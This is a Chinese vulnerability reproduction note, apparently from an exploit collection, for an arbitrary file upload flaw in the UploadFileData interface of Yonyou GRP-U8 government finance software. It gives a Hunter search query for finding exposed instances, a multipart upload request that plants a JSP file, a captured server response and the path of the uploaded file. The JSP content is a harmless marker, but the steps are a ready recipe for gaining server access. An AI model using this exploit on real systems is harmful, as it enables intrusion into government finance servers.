# Y16-16用友-GRP-U8-文件上传

## 漏洞描述:

用友GRP-U8R10行政事业财务管理软件是用友公司专注于电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域专业的财务管理软件。用友 GRP-U8 UploadFileData接口存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器权限。

#### 影响版本:

- 用友GRP-U8 行政事业内控管理软件(新政府会计制度专版)
- 用友GRP-U8 高校内控管理软件 (Manager版)

#### 网站图片:



# 网络测绘:

## Hunter 语法:

• hunterapp.name="用友GRP-U8 OA"

# 漏洞复现:

访问UploadFileData接口响应200表示可能存在漏洞





#### payload:

---WebKitFormBoundary92pUawKc

Content-Disposition: form-data; name="myFile";filename="test.jpg"

<% out.println("0xold6");%>

-----WebKitFormBoundary92pUawKc--

#### 效果图·

```
〈 〉 数据包扫描 魚加藍 构造请求 ※
                                                                    Responses 74bytes / 51ms
                                                                                                             美化 Q 👣 详情
Request
1 HTTP/1.1·200·OK
2 Server: Apache-Coyote/1.1
3 Date: Sun, -01·Oct-2023·03:49:15·GMT
4 Content-Length: -74
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
    <script>parent.showSucceedMsg();parent.openWin.location.reload();
 11
12
13
14
     -----WebKitFormBoundary92pUawKc
     Content-Disposition: form-data; name="myFile"; filename="test.jpg"
     <% out.println("0xold6");%>
```

#### 1. 上传文件位置

/R9iPortal/1.jsp



0xold6